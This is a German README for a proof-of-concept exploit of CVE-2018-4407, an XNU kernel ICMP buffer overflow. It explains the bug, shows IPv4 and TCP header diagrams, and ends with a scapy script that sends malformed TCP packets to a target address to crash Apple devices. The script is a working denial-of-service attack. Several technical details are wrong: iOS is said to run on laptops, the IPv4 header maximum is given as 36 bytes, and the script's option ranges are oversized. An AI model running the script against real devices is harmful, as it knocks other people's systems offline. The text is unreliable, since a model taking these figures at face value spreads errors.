
Eine Pufferüberlauf-Schwachstelle im ICMP-Fehlercode des XNU-Kernels führt dazu, dass iOS-Geräte (Laptops und Mobilgeräte) abstürzen.
CVE-2018-4407 ist eine Pufferüberlauf-Schwachstelle im ICMP-Fehlercode des XNU-Kernels. Sie führt dazu, dass IOS-Geräte (sowohl Laptops als auch Mobilgeräte) beim Empfang eines einzigen (ja, 1!) schlechten Pakets abstürzen.
Der Fehler wurde ursprünglich von Kevin Backhouse in seinem lgtm-Blogbeitrag am 30. Oktober 2018 veröffentlicht.
Der Code in diesem Repository ist ein Proof of Concept des CVE-2018-4407-Exploits, implementiert in Python, unter Verwendung von scapy und nmap.
Einige Schritte meines Debugging-Prozesses. Ein Blick in den XNU-Kernelcode führt zu den Zahlen für iphlen und tcphlen, die den Pufferüberlauf auslösen können.
Wie Backhouse sagte, müssen wir icmplen > 84 haben, und es scheint, dass wir in den Codezweig if(oip->ip_p == IPPROTO_TCP) gelangen sollten, um das zu erreichen. Ein TCP-Paket würde diese Schwachstelle auslösen.

Ein IPv4-Header umfasst mindestens 20 Bytes bis zu 36 Bytes (abhängig von den Optionen).
IHL: ist die IP-Headerlänge, einschließlich Optionen. Er gibt auch an, wo die Nutzlast beginnt.Total Length: wäre die Gesamtlänge des IP-Pakets (einschließlich IP-Header und TCP-Nutzlast). 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 |Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
12 | Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 16B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Ein TCP-Header umfasst mindestens 20 Bytes bis zu 60 Bytes (Optionen können bis zu 40 Bytes betragen).
Data offset: gibt an, wo die Daten beginnen und kann auch als Headerlänge betrachtet werden. 0 1 2 3
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 | Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
4 | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
8 | Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
12 | Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
16 | Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
20 | Options (up to 40B) | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Es ist nicht notwendig, so tief in den XNU-Code einzusteigen. Ein einfaches scapy-Skript, das manuell verschiedene Headerlängen ausprobiert, kann ebenfalls verwendet werden:
MIN_IPHLEN = 20
MIN_TCPHLEN = 20
DST_IP = #<IP_ADDRESS>
for ip_opt_len in range(0, 60):
for tcp_opt_len in range (0, 60):
iphlen = ip_opt_len + MIN_IPHLEN
tcphlen = tcp_opt_len + MIN_TCPHLEN
total_ip_len = tcphlen + iphlen
send(IP(
ihl=iphlen/4,
len=total_ip_len,
dst=DST_IP,
options=IPOption("a" * ip_opt_len)
)/TCP(
dataofs=15,
options = [("NOP", None)] * tcp_opt_len
))